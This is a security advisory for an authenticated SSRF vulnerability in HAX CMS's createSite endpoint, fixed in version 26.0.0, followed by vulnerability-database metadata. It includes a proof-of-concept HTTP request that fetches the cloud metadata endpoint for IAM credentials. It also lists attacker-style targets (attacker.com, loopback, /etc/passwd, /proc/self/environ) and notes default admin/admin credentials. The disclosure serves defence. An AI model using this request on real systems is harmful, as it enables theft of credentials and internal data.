HAX CMS helps manage microsite universe with PHP or NodeJs backends. An authenticated Server-Side Request Forgery (SSRF) vulnerability in versions prior to 26.0.0 allows authenticated users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. Version 26.0.0 contains a fix.
HAX CMS helps manage microsite universe with PHP or NodeJs backends. An authenticated Server-Side Request Forgery (SSRF) vulnerability in versions prior to 26.0.0 allows authenticated users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. Version 26.0.0 contains a fix.
HAX CMS helps manage microsite universe with PHP or NodeJs backends. An authenticated Server-Side Request Forgery (SSRF) vulnerability in versions prior to 26.0.0 allows authenticated users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. Version 26.0.0 contains a fix.
### Summary
An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.
### Details
The `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`.
The data flow is as follows:
- User input (`build.files`) is processed via `object_to_array()` into a PHP array
- Assigned to `$filesToDownload` in `Operations.php` (line 2626)
- Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled
In `HAXCMSFile.php` (line 30), the following occurs:
```php
file_get_contents($upload['tmp_name']);
```
Here, tmp_name is attacker-controlled and may contain:
- External URLs (`http://attacker.com`)
- Internal services (`http://127.0.0.1`)
- Cloud metadata endpoints (`http://169.254.169.254`)
- Local file paths (`/etc/passwd`, `/proc/self/environ`)
The bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.
There are no restrictions on:
- URL schemes (`http`, `file`, `gopher`, etc.)
- Destination IP ranges (internal, loopback, metadata services)
- Response content
All fetched content is written to:
```
sites/<sitename>/files/<filename>
```
and is accessible via the web.
### PoC
Prerequisites:
- Authenticated session (default credentials: `admin/admin` on fresh installs)
- Valid JWT and CSRF token
Step 1: Log in and capture JWT + CSRF token
Step 2: Send crafted request:
```
POST /createSite HTTP/1.1
Host: target
Authorization: Bearer [JWT]
X-CSRF-Token: [TOKEN]
Content-Type: application/json
{
"site": {
"name": "poc"
},
"build": {
"files": {
"poc.txt": {
"tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
}
}
```
Step 3: Retrieve response:
```
GET /sites/poc/files/poc.txt
```
The response will contain the fetched content (e.g., cloud credentials or internal service data).
### Impact
- SSRF enabling access to internal network services
- Arbitrary file read via local filesystem paths
- Cloud credential exposure through metadata endpoints
- Data exfiltration via web-accessible file storage
Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jun 5, 2026, 6:24:49 PM
dateUpdated: Jun 8, 2026, 4:08:41 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-918
Original publisher date fields
published: 2026-06-05T19:16:33.303
lastModified: 2026-06-17T10:53:37.967
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.